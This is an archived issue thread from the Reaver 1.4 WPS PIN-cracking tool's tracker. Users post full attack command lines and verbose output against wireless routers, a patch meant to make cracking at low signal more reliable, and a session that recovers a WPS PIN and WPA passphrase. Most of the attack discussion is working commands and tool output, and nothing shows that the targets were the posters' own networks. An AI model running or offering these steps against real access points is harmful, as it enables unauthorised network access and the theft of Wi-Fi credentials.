"Low signal" argument - listening for M5 messages if we know 4 digits are valid

[GoogleCodeExporter]

I've been trying to crack an AP within a rather tough situation, where the 
signal was -83dB at best. I've noticed a weird behaviour of the program within 
the "M6 sending" range. I'm using Reaver 1.4 from the Kali 1.0.6 32bit 
distribution.

Scenario:
1. Reach the point, where you get the first 4 digits of the pin (Reaver will 
begin to recieve M5s so it will attempt to send M6s from now on) - this can be 
already done on lower signal levels
Note: At low signal levels you will recieve message duplicates, you must use 
--no-nacks to progress any further

2. Notice that some attempts will not even include the AP responding with M5 
messages, but Reaver still counts those attempts as valid and will continue to 
iterate over pins (AP should respond with M5s because it did earlier, so the 
first 4 digits are valid)

This behaviour can be confirmed by using the same pin over and over.
Here's some output with comments:

root@kali:~# reaver -i mon0 -c 7 -b *** -vv -N -T 1 -d 5 -x 600 -S -p 98250370

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 7
[+] Waiting for beacon from ***
[+] Associated with *** (ESSID: ***)
[+] Trying pin 98250370
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M5 message
[+] Received M5 message
[+] Received WSC NACK
[+] Sending WSC NACK # Valid attempt, progress made, iterate to the next pin
^C
[+] Session saved.
root@kali:~# reaver -i mon0 -c 7 -b *** -vv -N -T 1 -d 5 -x 600 -S -p 98250370

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 7
[+] Waiting for beacon from ***
[+] Associated with *** (ESSID: ***)
[+] Trying pin 98250370
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received WSC NACK
[+] Sending WSC NACK #  This time no M5 response, but we know the first digits 
are valid! Should retry.
^C
[+] Session saved.
root@kali:~# 

My suggestion, which is a solution to this problem:
During the Reaver operation - simply remember, if an M5 was recieved earlier. 
Reaver might accept a new argument, something like --low-signal or --m5-mark, 
which will cause it to wait for a first M5 packet, mark that the pin range is 
"M5-valid", and from now on it will fail those attempts which are not ending 
with an M5 or an M7 message (or a timeout or a NACK).

Another new argument would be suggested: --m5-force, which would force the 
"M5-valid" state right away, without waiting for an M5 message (but the user 
would have to be sure that the first 4 digits of the pin are valid, passed by 
-p for example).

I'm pretty sure something like the M5 listening is already in the code. Maybe 
it should work this way but something is bugged? What do you think?

Original issue reported on code.google.com by coreconv...@gmail.com on 28 Feb 2014 at 12:24

[GoogleCodeExporter]

I could be wrong, but...with low signal, the more parameters in Reaver poorer 
is the answer of the AP/Router.
on the other hand can improve leaving running in another terminal:
airodump mon0 -d <mac> -c <channel> --ignore-negative-one
or
wash -i mon0 -c <channel>

Original comment by deltomaf...@gmail.com on 20 Mar 2014 at 1:29

[GoogleCodeExporter]

I have made my own modifications to the Reaver 1.4 source code.
Below are the modified files (put in src directory of the source):

exchange.h http://pastebin.com/i5kZTkcw
exchange.c http://pastebin.com/pYap6pWA

The most important modification is adding of the wls_m5 variable, which is the 
flag wether if an M5 packet has been recieved earlier. It will force retry in 
circumstances where M5 is not recieved anymore (exchange.c:234).

Result in output:

On first M5 packet recieved (exchange.c:130)
[W] Marked M5 progress

If M5 was not recieved if the wls_m5 flag is up (exchange.c:243)
[W] Forcing retry

Additionaly I've added a 4 second timeout to make the whole thing faster with 
--no-nacks switch (waiting 4 seconds) - hence wls_time local variable. All that 
could be merged into a single --low-signal switch.

Modifications are not controled by any arguments so please compile the 
modifications only for low-signal situations.
I have managed to access two different low-signal scenarios so far, 100% 
success (with my modifications).

If "[W] Forcing retry" appears in any of your previous attempts then that 
attempt would be ignored previously by Reaver. My modification gave me 100% 
chance to break the AP.

Original comment by coreconv...@gmail.com on 20 Mar 2014 at 2:46

[GoogleCodeExporter]

HELLO I solved this removing -E and -S options like u can si here
root@Usuario-PC:~# reaver  -i mon0 -f -c 1 -b XX... -r 3:10 -E -S -vv -N -T 60 
-t 82 -d 0 -A -x 30

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 1
[?] Restore previous session for XX...? [n/Y] 
[+] Restored previous session
[+] Waiting for beacon from XX::::
[+] Associated with XX:::: (ESSID: MOVISTAR_XXXX)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M5 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M5 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M5 message
[+] Received M5 message
^C
[+] Session saved.
root@Usuario-PC:~# reaver  -i mon0 -f -c 1 -b XX:::: -vv -N -T 20 -t 20 -d 0 -A 
-x 30

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 1
[?] Restore previous session for XX:::::? [n/Y] 
[+] Restored previous session
[+] Waiting for beacon from XX:::::
[+] Associated with XX::::: (ESSID: MOVISTAR_C332)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 15 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'aaaaaaaaaaaaa'
[+] AP SSID: 'MOVISTAR_XXXX'

I m a bit noob in reaver, i dont understard why but it works to me. I will wait 
to you answer thx a lot

Original comment by tgilcerv...@gmail.com on 31 Jan 2015 at 10:23

[GoogleCodeExporter]

Hi guys any idea how to make it send m3 and m4 
Because mines only sending out m1 and 2 
I'm getting the router name model ect ..pke..and
Up until authcode 

Original comment by bencad...@gmail.com on 3 Aug 2015 at 1:43